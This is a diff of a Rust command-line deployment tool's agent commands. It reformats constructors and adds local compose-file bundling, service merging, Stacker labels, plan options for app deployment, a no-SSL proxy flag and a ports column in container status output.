     // Print a per-port table.
-    eprintln!("\n\x1b[33m⚠  {} active HTTP connection(s) detected:\x1b[0m", active);
+    eprintln!(
+        "\n\x1b[33m⚠  {} active HTTP connection(s) detected:\x1b[0m",
+        active
+    );
     if let Some(ports) = result.get("ports").and_then(|v| v.as_array()) {
         for entry in ports {
             let port = entry.get("port").and_then(|v| v.as_u64()).unwrap_or(0);
-            let conns = entry.get("connections").and_then(|v| v.as_u64()).unwrap_or(0);
+            let conns = entry
+                .get("connections")
+                .and_then(|v| v.as_u64())
+                .unwrap_or(0);
             if conns > 0 {
                 eprintln!("   port {:5} — {} connection(s)", port, conns);
             }
@@ -288,7 +675,12 @@ impl AgentHealthCommand {
         deployment: Option<String>,
         include_system: bool,
     ) -> Self {
-        Self { app_code, json, deployment, include_system }
+        Self {
+            app_code,
+            json,
+            deployment,
+            include_system,
+        }
     }
 }
 
@@ -297,8 +689,20 @@ impl CallableTrait for AgentHealthCommand {
         let ctx = CliRuntime::new("agent health")?;
         let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
 
+        // No specific app requested → list all containers with health metrics.
+        // This avoids sending app_code="all" to older agents that don't handle it.
+        if self.app_code.is_none() && !self.include_system {
+            let containers = fetch_live_containers(&ctx, &hash)?.unwrap_or_default();
+            if self.json {
+                println!("{}", serde_json::to_string_pretty(&containers)?);
+            } else {
+                print_all_container_health(&containers);
+            }
+            return Ok(());
+        }
+
         let params = crate::forms::status_panel::HealthCommandRequest {
-            app_code: self.app_code.clone().unwrap_or_else(|| "all".to_string()),
+            app_code: self.app_code.clone().unwrap_or_default(),
             container: None,
             include_metrics: true,
             include_system: self.include_system,
@@ -309,7 +713,11 @@ impl CallableTrait for AgentHealthCommand {
             .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
 
         let info = run_agent_command(&ctx, &request, "Checking health", DEFAULT_TIMEOUT_SECS)?;
-        print_command_result(&info, self.json);
+        if self.json {
+            print_command_result(&info, true);
+        } else {
+            print_health_result(&info);
+        }
         Ok(())
     }
 }
@@ -331,7 +739,12 @@ impl AgentLogsCommand {
         json: bool,
         deployment: Option<String>,
     ) -> Self {
-        Self { app_code, limit, json, deployment }
+        Self {
+            app_code,
+            limit,
+            json,
+            deployment,
+        }
     }
 }
 
@@ -376,13 +789,13 @@ pub struct AgentRestartCommand {
 }
 
 impl AgentRestartCommand {
-    pub fn new(
-        app_code: String,
-        force: bool,
-        json: bool,
-        deployment: Option<String>,
-    ) -> Self {
-        Self { app_code, force, json, deployment }
+    pub fn new(app_code: String, force: bool, json: bool, deployment: Option<String>) -> Self {
+        Self {
+            app_code,
+            force,
+            json,
+            deployment,
+        }
     }
 }
 
@@ -424,6 +837,9 @@ pub struct AgentDeployAppCommand {
     pub runtime: String,
     pub json: bool,
     pub deployment: Option<String>,
+    pub environment: Option<String>,
+    pub plan: bool,
+    pub apply_plan: Option<String>,
 }
 
 impl AgentDeployAppCommand {
@@ -434,8 +850,29 @@ impl AgentDeployAppCommand {
         runtime: String,
         json: bool,
         deployment: Option<String>,
+        environment: Option<String>,
     ) -> Self {
-        Self { app_code, image, force_recreate, runtime, json, deployment }
+        Self {
+            app_code,
+            image,
+            force_recreate,
+            runtime,
+            json,
+            deployment,
+            environment,
+            plan: false,
+            apply_plan: None,
+        }
+    }
+
+    pub fn with_plan(mut self, plan: bool) -> Self {
+        self.plan = plan;
+        self
+    }
+
+    pub fn with_apply_plan(mut self, apply_plan: Option<String>) -> Self {
+        self.apply_plan = apply_plan;
+        self
     }
 }
 
@@ -444,16 +881,69 @@ impl CallableTrait for AgentDeployAppCommand {
         let ctx = CliRuntime::new("agent deploy-app")?;
         let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
 
+        if self.plan {
+            return crate::console::commands::cli::deployment::run_remote_deployment_plan(
+                Some(&hash),
+                crate::services::DeployPlanOperation::DeployApp,
+                Some(&self.app_code),
+                None,
+                None,
+            );
+        }
+
+        if let Some(fingerprint) = self.apply_plan.as_deref() {
+            let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+            let config_path = project_dir.join("stacker.yml");
+            let config = StackerConfig::from_file(&config_path)?
+                .with_resolved_deploy_target(None)
+                .map_err(|e| CliError::ConfigValidation(format!("Invalid stacker.yml: {}", e)))?;
+            let base_url =
+                crate::console::commands::cli::status::resolve_stacker_base_url(&ctx.creds);
+            let validated_plan = ctx.block_on(async {
+                crate::console::commands::cli::deployment::fetch_remote_deployment_plan(
+                    &config,
+                    &base_url,
+                    &ctx.client,
+                    Some(&hash),
+                    crate::services::DeployPlanOperation::DeployApp,
+                    Some(&self.app_code),
+                    None,
+                    Some(fingerprint),
+                )
+                .await
+            })?;
+            if !validated_plan.has_changes {
+                println!(
+                    "Plan already satisfied for {}. Nothing to apply.",
+                    validated_plan.deployment_hash
+                );
+                return Ok(());
+            }
+        }
+
+        let project_dir = std::env::current_dir().map_err(CliError::Io)?;
+
         check_active_connections(&ctx, &hash, self.force_recreate)?;
+        let local_config = local_config_files_for_agent_deploy(
+            &project_dir,
+            &self.app_code,
+            self.environment.as_deref(),
+        )?;
+        for notice in &local_config.notices {
+            eprintln!("  ⚠ {notice}");
+        }
 
         let params = crate::forms::status_panel::DeployAppCommandRequest {
             app_code: self.app_code.clone(),
-            compose_content: None,
+            compose_content: local_config.compose_content,
             image: self.image.clone(),
             env_vars: None,
             pull: true,
             force_recreate: self.force_recreate,
+            force_config_overwrite: self.force_recreate,
             runtime: self.runtime.clone(),
+            registry_auth: resolve_registry_auth_for_agent_deploy(&project_dir),
+            config_files: local_config.config_files,
         };
 
         let request = AgentEnqueueRequest::new(&hash, "deploy_app")
@@ -461,144 +951,627 @@ impl CallableTrait for AgentDeployAppCommand {
             .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?
             .with_timeout(300);
 
-        let info = run_agent_command(
-            &ctx,
-            &request,
-            &format!("Deploying {}", self.app_code),
-            300,
-        )?;
+        let info = run_agent_command(&ctx, &request, &format!("Deploying {}", self.app_code), 300)?;
         print_command_result(&info, self.json);
         Ok(())
     }
 }
 
-// ── Remove App ───────────────────────────────────────
-
-/// `stacker agent remove-app <app> [--volumes] [--force] [--json] [--deployment <hash>]`
-pub struct AgentRemoveAppCommand {
-    pub app_code: String,
-    pub remove_volumes: bool,
-    pub remove_image: bool,
-    pub force: bool,
-    pub json: bool,
-    pub deployment: Option<String>,
+#[derive(Debug, Default)]
+struct LocalDeployAppConfig {
+    compose_content: Option<String>,
+    config_files: Option<Vec<serde_json::Value>>,
+    notices: Vec<String>,
 }
 
-impl AgentRemoveAppCommand {
-    pub fn new(
-        app_code: String,
-        remove_volumes: bool,
-        remove_image: bool,
-        force: bool,
-        json: bool,
-        deployment: Option<String>,
-    ) -> Self {
-        Self { app_code, remove_volumes, remove_image, force, json, deployment }
+fn local_config_files_for_agent_deploy(
+    project_dir: &Path,
+    app_code: &str,
+    environment_override: Option<&str>,
+) -> Result<LocalDeployAppConfig, CliError> {
+    let mut result = LocalDeployAppConfig::default();
+    let config_path = project_dir.join("stacker.yml");
+    if !config_path.exists() {
+        return Ok(result);
     }
-}
-
-impl CallableTrait for AgentRemoveAppCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let ctx = CliRuntime::new("agent remove-app")?;
-        let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
-
-        check_active_connections(&ctx, &hash, self.force)?;
 
-        let params = crate::forms::status_panel::RemoveAppCommandRequest {
-            app_code: self.app_code.clone(),
-            delete_config: true,
-            remove_volumes: self.remove_volumes,
-            remove_image: self.remove_image,
-        };
-
-        let request = AgentEnqueueRequest::new(&hash, "remove_app")
-            .with_parameters(&params)
-            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
+    let active_target =
+        crate::cli::deployment_lock::DeploymentLock::read_active_target(project_dir)?;
+    let mut config = StackerConfig::from_file(&config_path)?
+        .with_resolved_deploy_target(active_target.as_deref())?;
+    let active_environment = read_active_environment(project_dir)?;
+    let requested_environment = environment_override.or(active_environment.as_deref());
+    let Some((environment, environment_config)) =
+        config.resolve_environment_config(requested_environment)?
+    else {
+        return Ok(result);
+    };
 
-        let info = run_agent_command(
-            &ctx,
-            &request,
-            &format!("Removing {}", self.app_code),
-            DEFAULT_TIMEOUT_SECS,
-        )?;
-        print_command_result(&info, self.json);
-        Ok(())
+    if environment_override.is_none() && active_environment.is_none() {
+        if let Some(active_target) = active_target.as_deref() {
+            if active_target != "local" && environment == "local" {
+                result.notices.push(format!(
+                    "Active target is '{}', but resolved environment is 'local'; use `stacker agent deploy-app {} --env prod` or `stacker env prod` if this should use production config.",
+                    active_target, app_code
+                ));
+            }
+        }
     }
-}
-
-// ── Configure Firewall ───────────────────────────────
 
-/// `stacker agent configure-firewall [--action add] [--public-ports 80/tcp,443/tcp] [--private-ports 5432/tcp:10.0.0.0/8] [--force] [--json] [--deployment <hash>]`
-pub struct AgentConfigureFirewallCommand {
-    pub action: String,
-    pub app_code: Option<String>,
-    pub public_ports: Vec<String>,
-    pub private_ports: Vec<String>,
-    pub persist: bool,
-    pub force: bool,
-    pub json: bool,
-    pub deployment: Option<String>,
-}
-
-impl AgentConfigureFirewallCommand {
-    pub fn new(
-        action: String,
-        app_code: Option<String>,
-        public_ports: Vec<String>,
-        private_ports: Vec<String>,
-        persist: bool,
-        force: bool,
-        json: bool,
-        deployment: Option<String>,
-    ) -> Self {
-        Self { action, app_code, public_ports, private_ports, persist, force, json, deployment }
+    if let Some(compose_file) = environment_config.compose_file {
+        config.deploy.compose_file = Some(compose_file);
+    }
+    if let Some(env_file) = environment_config.env_file {
+        config.env_file = Some(env_file);
     }
 
-    /// Parse "80/tcp" or "443" into a FirewallPortRule (source defaults to 0.0.0.0/0).
-    fn parse_public_port(s: &str) -> Result<crate::forms::status_panel::FirewallPortRule, String> {
-        let (port, protocol) = Self::parse_port_proto(s)?;
-        Ok(crate::forms::status_panel::FirewallPortRule {
-            port,
-            protocol,
-            source: "0.0.0.0/0".to_string(),
-            comment: None,
-        })
+    let Some(configured_compose_file) = config.deploy.compose_file.as_ref() else {
+        return Ok(result);
+    };
+    let configured_compose_path = resolve_compose_path(project_dir, configured_compose_file);
+    if !configured_compose_path.exists() {
+        return Ok(result);
     }
+    let app_local_compose_path = app_local_compose_path(project_dir, app_code, &environment);
+    let compose_path = if app_local_compose_path.exists() {
+        app_local_compose_path.as_path()
+    } else {
+        configured_compose_path.as_path()
+    };
 
-    /// Parse "5432/tcp:10.0.0.0/8" or "5432:10.0.0.0/8" into a FirewallPortRule.
-    fn parse_private_port(s: &str) -> Result<crate::forms::status_panel::FirewallPortRule, String> {
-        // Split on first ':' that separates port/proto from source
-        // Format: port[/proto]:source
-        let parts: Vec<&str> = s.splitn(2, ':').collect();
-        if parts.len() != 2 || parts[1].is_empty() {
-            return Err(format!(
-                "Invalid private port '{}'. Expected format: port[/proto]:source (e.g. 5432/tcp:10.0.0.0/8)",
-                s
+    if !compose_service_has_env_file(&compose_path, app_code)? {
+        let conventional_env = project_dir
+            .join(app_code)
+            .join("docker")
+            .join(&environment)
+            .join(".env");
+        if conventional_env.exists() {
+            result.notices.push(format!(
+                "{} exists, but service '{}' in {} has no env_file entry; Docker Compose will not inject local or remote-rendered env values into that container.",
+                conventional_env.display(),
+                app_code,
+                compose_path.display()
             ));
         }
-        let (port, protocol) = Self::parse_port_proto(parts[0])?;
-        Ok(crate::forms::status_panel::FirewallPortRule {
-            port,
-            protocol,
-            source: parts[1].to_string(),
-            comment: None,
-        })
     }
 
-    fn parse_port_proto(s: &str) -> Result<(u16, String), String> {
-        if let Some((port_s, proto)) = s.split_once('/') {
-            let port: u16 = port_s.parse().map_err(|_| format!("Invalid port number: {}", port_s))?;
-            Ok((port, proto.to_string()))
-        } else {
-            let port: u16 = s.parse().map_err(|_| format!("Invalid port number: {}", s))?;
-            Ok((port, "tcp".to_string()))
+    let bundle = if compose_path == configured_compose_path.as_path() {
+        let reference_base = configured_compose_path
+            .parent()
+            .map(Path::to_path_buf)
+            .unwrap_or_else(|| project_dir.to_path_buf());
+        let mut bundle = build_config_bundle(
+            project_dir,
+            &environment,
+            &configured_compose_path,
+            config.env_file.as_deref(),
+            &reference_base,
+            false,
+        )?;
+        if materialize_stacker_service_in_bundle(&mut bundle, &config, app_code)? {
+            result.notices.push(format!(
+                "Materialized service '{}' from stacker.yml into the remote compose payload.",
+                app_code
+            ));
         }
+        bundle
+    } else {
+        let app_reference_base = compose_path
+            .parent()
+            .map(Path::to_path_buf)
+            .unwrap_or_else(|| project_dir.to_path_buf());
+        let app_bundle = build_config_bundle(
+            project_dir,
+            &environment,
+            compose_path,
+            None,
+            &app_reference_base,
+            false,
+        )?;
+        let project_compose = std::fs::read_to_string(&configured_compose_path).map_err(|err| {
+            CliError::ConfigValidation(format!(
+                "failed to read project compose {}: {}",
+                configured_compose_path.display(),
+                err
+            ))
+        })?;
+        let app_compose = bundle_compose_content(&app_bundle)?;
+        result.compose_content = Some(merge_compose_service(
+            &project_compose,
+            &app_compose,
+            app_code,
+        )?);
+        app_bundle
+    };
+
+    if result.compose_content.is_none() {
+        result.compose_content = Some(bundle_compose_content(&bundle)?);
     }
+    if let Some(compose_content) = result.compose_content.take() {
+        let lock = crate::cli::deployment_lock::DeploymentLock::load_active(project_dir)?;
+        let target_label = active_target
+            .clone()
+            .or_else(|| lock.as_ref().map(|lock| lock.target.clone()));
+        let project_id_label = lock
+            .and_then(|lock| lock.project_id)
+            .map(|project_id| project_id.to_string());
+        result.compose_content = Some(annotate_project_compose_with_stacker_labels(
+            &compose_content,
+            target_label.as_deref(),
+            project_id_label.as_deref(),
+        )?);
+    }
+
+    let deploy_config_files: Vec<_> = bundle
+        .config_files
+        .into_iter()
+        .filter(|file| {
+            file.get("destination_path")
+                .and_then(|path| path.as_str())
+                .map(|path| path != "docker-compose.yml")
+                .unwrap_or(false)
+        })
+        .collect();
+    if !deploy_config_files.is_empty() {
+        result.config_files = Some(deploy_config_files);
+    }
+    Ok(result)
 }
 
-impl CallableTrait for AgentConfigureFirewallCommand {
-    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let ctx = CliRuntime::new("agent configure-firewall")?;
+fn bundle_compose_content(
+    bundle: &crate::cli::config_bundle::ConfigBundleArtifacts,
+) -> Result<String, CliError> {
+    bundle
+        .config_files
+        .iter()
+        .find(|file| file.get("name").and_then(|name| name.as_str()) == Some("docker-compose.yml"))
+        .and_then(|file| file.get("content").and_then(|content| content.as_str()))
+        .map(ToOwned::to_owned)
+        .ok_or_else(|| {
+            CliError::ConfigValidation("config bundle missing docker-compose.yml".into())
+        })
+}
+
+fn materialize_stacker_service_in_bundle(
+    bundle: &mut ConfigBundleArtifacts,
+    config: &StackerConfig,
+    app_code: &str,
+) -> Result<bool, CliError> {
+    let compose = bundle_compose_content(bundle)?;
+    let updated = merge_stacker_config_service(&compose, config, app_code)?;
+    if updated == compose {
+        return Ok(false);
+    }
+
+    std::fs::write(&bundle.remote_compose_path, &updated)?;
+    if let Some(file) = bundle.config_files.iter_mut().find(|file| {
+        file.get("destination_path").and_then(|path| path.as_str()) == Some("docker-compose.yml")
+    }) {
+        file["content"] = serde_json::Value::String(updated);
+    }
+    Ok(true)
+}
+
+fn merge_stacker_config_service(
+    project_compose: &str,
+    config: &StackerConfig,
+    app_code: &str,
+) -> Result<String, CliError> {
+    let project_doc: serde_yaml::Value = serde_yaml::from_str(project_compose)?;
+    let service_exists = project_doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+        .map(|services| services.contains_key(serde_yaml::Value::String(app_code.to_string())))
+        .unwrap_or(false);
+    if service_exists
+        || !config
+            .services
+            .iter()
+            .any(|service| service.name == app_code)
+    {
+        return Ok(project_compose.to_string());
+    }
+
+    let generated_compose = ComposeDefinition::try_from(config)?.render();
+    merge_compose_service(project_compose, &generated_compose, app_code)
+}
+
+fn merge_compose_service(
+    project_compose: &str,
+    app_compose: &str,
+    app_code: &str,
+) -> Result<String, CliError> {
+    let mut project_doc: serde_yaml::Value = serde_yaml::from_str(project_compose)?;
+    let app_doc: serde_yaml::Value = serde_yaml::from_str(app_compose)?;
+
+    let mut app_service = app_doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+        .and_then(|services| services.get(serde_yaml::Value::String(app_code.to_string())))
+        .cloned()
+        .ok_or_else(|| {
+            CliError::ConfigValidation(format!(
+                "app-local compose does not define service '{app_code}'"
+            ))
+        })?;
+    let should_merge_networks = !project_service_networks(&project_doc).is_empty();
+    align_service_networks_with_project(&mut app_service, &project_doc);
+
+    let project_services = project_doc
+        .as_mapping_mut()
+        .and_then(|root| root.get_mut(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping_mut)
+        .ok_or_else(|| {
+            CliError::ConfigValidation("project compose does not define services".into())
+        })?;
+    project_services.insert(serde_yaml::Value::String(app_code.to_string()), app_service);
+
+    if should_merge_networks {
+        merge_compose_top_level_mapping(&mut project_doc, &app_doc, "networks");
+    }
+    merge_compose_top_level_mapping(&mut project_doc, &app_doc, "volumes");
+
+    serde_yaml::to_string(&project_doc)
+        .map_err(|err| CliError::ConfigValidation(format!("failed to merge compose: {err}")))
+}
+
+fn annotate_project_compose_with_stacker_labels(
+    compose_content: &str,
+    target: Option<&str>,
+    project_id: Option<&str>,
+) -> Result<String, CliError> {
+    let mut doc: serde_yaml::Value = serde_yaml::from_str(compose_content)?;
+    let services = doc
+        .as_mapping_mut()
+        .and_then(|root| root.get_mut(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping_mut)
+        .ok_or_else(|| CliError::ConfigValidation("compose does not define services".into()))?;
+
+    for (service_name, service) in services {
+        let Some(service_name) = service_name.as_str().map(ToOwned::to_owned) else {
+            continue;
+        };
+        let Some(service_map) = service.as_mapping_mut() else {
+            continue;
+        };
+        let labels_key = serde_yaml::Value::String("labels".to_string());
+        let mut labels = service_map
+            .remove(&labels_key)
+            .map(compose_labels_to_mapping)
+            .unwrap_or_default();
+
+        insert_compose_label(
+            &mut labels,
+            crate::helpers::stacker_labels::SCOPE,
+            crate::helpers::stacker_labels::SCOPE_PROJECT,
+        );
+        insert_compose_label(
+            &mut labels,
+            crate::helpers::stacker_labels::SERVICE,
+            &service_name,
+        );
+        insert_compose_label(
+            &mut labels,
+            crate::helpers::stacker_labels::DNS,
+            &service_name,
+        );
+        if let Some(target) = target.filter(|value| !value.trim().is_empty()) {
+            insert_compose_label(&mut labels, crate::helpers::stacker_labels::TARGET, target);
+        }
+        if let Some(project_id) = project_id.filter(|value| !value.trim().is_empty()) {
+            insert_compose_label(
+                &mut labels,
+                crate::helpers::stacker_labels::PROJECT_ID,
+                project_id,
+            );
+        }
+
+        service_map.insert(labels_key, serde_yaml::Value::Mapping(labels));
+    }
+
+    serde_yaml::to_string(&doc)
+        .map_err(|err| CliError::ConfigValidation(format!("failed to annotate compose: {err}")))
+}
+
+fn compose_labels_to_mapping(value: serde_yaml::Value) -> serde_yaml::Mapping {
+    match value {
+        serde_yaml::Value::Mapping(mapping) => mapping,
+        serde_yaml::Value::Sequence(items) => items
+            .into_iter()
+            .filter_map(|item| {
+                let label = item.as_str()?;
+                let (key, value) = label.split_once('=')?;
+                Some((
+                    serde_yaml::Value::String(key.to_string()),
+                    serde_yaml::Value::String(value.to_string()),
+                ))
+            })
+            .collect(),
+        _ => serde_yaml::Mapping::new(),
+    }
+}
+
+fn insert_compose_label(labels: &mut serde_yaml::Mapping, key: &str, value: &str) {
+    labels.insert(
+        serde_yaml::Value::String(key.to_string()),
+        serde_yaml::Value::String(value.to_string()),
+    );
+}
+
+fn align_service_networks_with_project(
+    app_service: &mut serde_yaml::Value,
+    project_doc: &serde_yaml::Value,
+) {
+    let project_networks = project_service_networks(project_doc);
+    let Some(service_map) = app_service.as_mapping_mut() else {
+        return;
+    };
+    let networks_key = serde_yaml::Value::String("networks".to_string());
+    if project_networks.is_empty() {
+        service_map.remove(&networks_key);
+        return;
+    }
+
+    service_map.insert(
+        networks_key,
+        serde_yaml::Value::Sequence(
+            project_networks
+                .into_iter()
+                .map(serde_yaml::Value::String)
+                .collect(),
+        ),
+    );
+}
+
+fn project_service_networks(project_doc: &serde_yaml::Value) -> Vec<String> {
+    let Some(project_services) = project_doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+    else {
+        return Vec::new();
+    };
+
+    let mut networks = Vec::new();
+    for service in project_services.values() {
+        let Some(networks_value) = service
+            .as_mapping()
+            .and_then(|service| service.get(serde_yaml::Value::String("networks".to_string())))
+        else {
+            continue;
+        };
+        collect_network_names(networks_value, &mut networks);
+    }
+    networks
+}
+
+fn collect_network_names(value: &serde_yaml::Value, networks: &mut Vec<String>) {
+    match value {
+        serde_yaml::Value::String(name) => push_unique_network(networks, name),
+        serde_yaml::Value::Sequence(items) => {
+            for item in items {
+                if let Some(name) = item.as_str() {
+                    push_unique_network(networks, name);
+                }
+            }
+        }
+        serde_yaml::Value::Mapping(map) => {
+            for key in map.keys() {
+                if let Some(name) = key.as_str() {
+                    push_unique_network(networks, name);
+                }
+            }
+        }
+        _ => {}
+    }
+}
+
+fn push_unique_network(networks: &mut Vec<String>, name: &str) {
+    if !networks.iter().any(|existing| existing == name) {
+        networks.push(name.to_string());
+    }
+}
+
+fn merge_compose_top_level_mapping(
+    project_doc: &mut serde_yaml::Value,
+    app_doc: &serde_yaml::Value,
+    key: &str,
+) {
+    let Some(app_mapping) = app_doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String(key.to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+    else {
+        return;
+    };
+
+    let Some(project_root) = project_doc.as_mapping_mut() else {
+        return;
+    };
+    let project_key = serde_yaml::Value::String(key.to_string());
+    if !project_root.contains_key(&project_key) {
+        project_root.insert(
+            project_key.clone(),
+            serde_yaml::Value::Mapping(Default::default()),
+        );
+    }
+    let Some(project_mapping) = project_root
+        .get_mut(&project_key)
+        .and_then(serde_yaml::Value::as_mapping_mut)
+    else {
+        return;
+    };
+
+    for (name, value) in app_mapping {
+        project_mapping.insert(name.clone(), value.clone());
+    }
+}
+
+fn resolve_compose_path(project_dir: &Path, compose_file: &Path) -> PathBuf {
+    if compose_file.is_absolute() {
+        compose_file.to_path_buf()
+    } else {
+        project_dir.join(compose_file)
+    }
+}
+
+fn app_local_compose_path(project_dir: &Path, app_code: &str, environment: &str) -> PathBuf {
+    project_dir
+        .join(app_code)
+        .join("docker")
+        .join(environment)
+        .join("compose.yml")
+}
+
+fn active_environment_path(project_dir: &Path) -> std::path::PathBuf {
+    project_dir.join(".stacker").join("active-env")
+}
+
+fn read_active_environment(project_dir: &Path) -> Result<Option<String>, CliError> {
+    let path = active_environment_path(project_dir);
+    if !path.exists() {
+        return Ok(None);
+    }
+
+    let value = std::fs::read_to_string(path).map_err(CliError::Io)?;
+    let value = value.trim().to_string();
+    if value.is_empty() {
+        Ok(None)
+    } else {
+        Ok(Some(value))
+    }
+}
+
+fn compose_service_has_env_file(compose_path: &Path, app_code: &str) -> Result<bool, CliError> {
+    let raw = std::fs::read_to_string(compose_path).map_err(CliError::Io)?;
+    let doc: serde_yaml::Value = serde_yaml::from_str(&raw)?;
+    let Some(service) = doc
+        .as_mapping()
+        .and_then(|root| root.get(serde_yaml::Value::String("services".to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+        .and_then(|services| services.get(serde_yaml::Value::String(app_code.to_string())))
+        .and_then(serde_yaml::Value::as_mapping)
+    else {
+        return Ok(false);
+    };
+
+    Ok(service
+        .get(serde_yaml::Value::String("env_file".to_string()))
+        .is_some())
+}
+
+// ── Remove App ───────────────────────────────────────
+
+/// `stacker agent remove-app <app> [--volumes] [--force] [--json] [--deployment <hash>]`
+pub struct AgentRemoveAppCommand {
+    pub app_code: String,
+    pub remove_volumes: bool,
+    pub remove_image: bool,
+    pub force: bool,
+    pub json: bool,
+    pub deployment: Option<String>,
+}
+
+impl AgentRemoveAppCommand {
+    pub fn new(
+        app_code: String,
+        remove_volumes: bool,
+        remove_image: bool,
+        force: bool,
+        json: bool,
+        deployment: Option<String>,
+    ) -> Self {
+        Self {
+            app_code,
+            remove_volumes,
+            remove_image,
+            force,
+            json,
+            deployment,
+        }
+    }
+}
+
+impl CallableTrait for AgentRemoveAppCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("agent remove-app")?;
+        let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
+
+        check_active_connections(&ctx, &hash, self.force)?;
+
+        let params = crate::forms::status_panel::RemoveAppCommandRequest {
+            app_code: self.app_code.clone(),
+            delete_config: true,
+            remove_volumes: self.remove_volumes,
+            remove_image: self.remove_image,
+        };
+
+        let request = AgentEnqueueRequest::new(&hash, "remove_app")
+            .with_parameters(&params)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
+
+        let info = run_agent_command(
+            &ctx,
+            &request,
+            &format!("Removing {}", self.app_code),
+            DEFAULT_TIMEOUT_SECS,
+        )?;
+        print_command_result(&info, self.json);
+        Ok(())
+    }
+}
+
+// ── Configure Firewall ───────────────────────────────
+
+/// `stacker agent configure-firewall [--action add] [--public-ports 80/tcp,443/tcp] [--private-ports 5432/tcp:10.0.0.0/8] [--force] [--json] [--deployment <hash>]`
+pub struct AgentConfigureFirewallCommand {
+    pub action: String,
+    pub app_code: Option<String>,
+    pub public_ports: Vec<String>,
+    pub private_ports: Vec<String>,
+    pub persist: bool,
+    pub force: bool,
+    pub json: bool,
+    pub deployment: Option<String>,
+}
+
+impl AgentConfigureFirewallCommand {
+    pub fn new(
+        action: String,
+        app_code: Option<String>,
+        public_ports: Vec<String>,
+        private_ports: Vec<String>,
+        persist: bool,
+        force: bool,
+        json: bool,
+        deployment: Option<String>,
+    ) -> Self {
+        Self {
+            action,
+            app_code,
+            public_ports,
+            private_ports,
+            persist,
+            force,
+            json,
+            deployment,
+        }
+    }
+
+    fn parse_public_port(s: &str) -> Result<crate::forms::status_panel::FirewallPortRule, String> {
+        crate::forms::firewall::parse_public_port(s)
+    }
+
+    fn parse_private_port(s: &str) -> Result<crate::forms::status_panel::FirewallPortRule, String> {
+        crate::forms::firewall::parse_private_port(s)
+    }
+}
+
+impl CallableTrait for AgentConfigureFirewallCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("agent configure-firewall")?;
         let hash = resolve_deployment_hash(&self.deployment, &ctx)?;
 
         check_active_connections(&ctx, &hash, self.force)?;
@@ -642,7 +1615,7 @@ impl CallableTrait for AgentConfigureFirewallCommand {
 
 // ── Configure Proxy ──────────────────────────────────
 
-/// `stacker agent configure-proxy <app> --domain <d> --port <p> [--force] [--json] [--deployment <hash>]`
+/// `stacker agent configure-proxy <app> --domain <d> --port <p> [--no-ssl] [--force] [--json] [--deployment <hash>]`
 pub struct AgentConfigureProxyCommand {
     pub app_code: String,
     pub domain: String,
@@ -660,12 +1633,23 @@ impl AgentConfigureProxyCommand {
         domain: String,
         port: u16,
         ssl: bool,
+        no_ssl: bool,
         action: String,
         force: bool,
         json: bool,
         deployment: Option<String>,
     ) -> Self {
-        Self { app_code, domain, port, ssl, action, force, json, deployment }
+        let ssl = ssl && !no_ssl;
+        Self {
+            app_code,
+            domain,
+            port,
+            ssl,
+            action,
+            force,
+            json,
+            deployment,
+        }
     }
 }
 
@@ -739,22 +1723,24 @@ impl CallableTrait for AgentStatusCommand {
                     .unwrap_or("unknown");
                 let version = item
                     .get("agent")
-                    .and_then(|a| a.get("version"))
-                    .and_then(|v| v.as_str())
-                    .unwrap_or("-");
+                    .and_then(|agent| agent_display_version(agent, None));
                 let n_apps = item
                     .get("apps")
                     .and_then(|v| v.as_array())
                     .map(|a| a.len())
                     .unwrap_or(0);
+                let version_label = version
+                    .as_deref()
+                    .map(agent_version_label)
+                    .unwrap_or_default();
 
                 progress::finish_success(
                     &pb,
                     &format!(
-                        "Agent status fetched — {} {} · v{} · {} app(s)",
+                        "Agent status fetched — {} {}{} · {} app(s)",
                         progress::status_icon(agent_status),
                         agent_status,
-                        version,
+                        version_label,
                         n_apps,
                     ),
                 );
@@ -770,7 +1756,10 @@ impl CallableTrait for AgentStatusCommand {
                     let mut output = item.clone();
                     if let Some(list) = &live_containers {
                         if let Some(obj) = output.as_object_mut() {
-                            obj.insert("containers_live".to_string(), serde_json::Value::Array(list.clone()));
+                            obj.insert(
+                                "containers_live".to_string(),
+                                serde_json::Value::Array(list.clone()),
+                            );
                         } else {
                             output = serde_json::json!({
                                 "snapshot": output,
@@ -820,12 +1809,25 @@ fn print_apps_summary(apps: &[serde_json::Value]) {
 }
 
 fn print_containers_summary(containers: &[serde_json::Value]) {
+    print_containers_summary_with_apps(containers, None)
+}
+
+fn print_containers_summary_with_apps(
+    containers: &[serde_json::Value],
+    apps: Option<&[serde_json::Value]>,
+) {
+    let containers = visible_containers(containers);
+    let port_lookup = apps.map(build_app_port_lookup).unwrap_or_default();
+
     if containers.is_empty() {
         println!("Containers: none");
         return;
     }
 
-    println!("{:<24} {:<12} {:<30}", "CONTAINER", "STATE", "IMAGE");
+    println!(
+        "{:<24} {:<12} {:<22} {:<30}",
+        "CONTAINER", "STATE", "PORTS", "IMAGE"
+    );
     for c in containers {
         let name = c.get("name").and_then(|v| v.as_str()).unwrap_or("-");
         let state = c
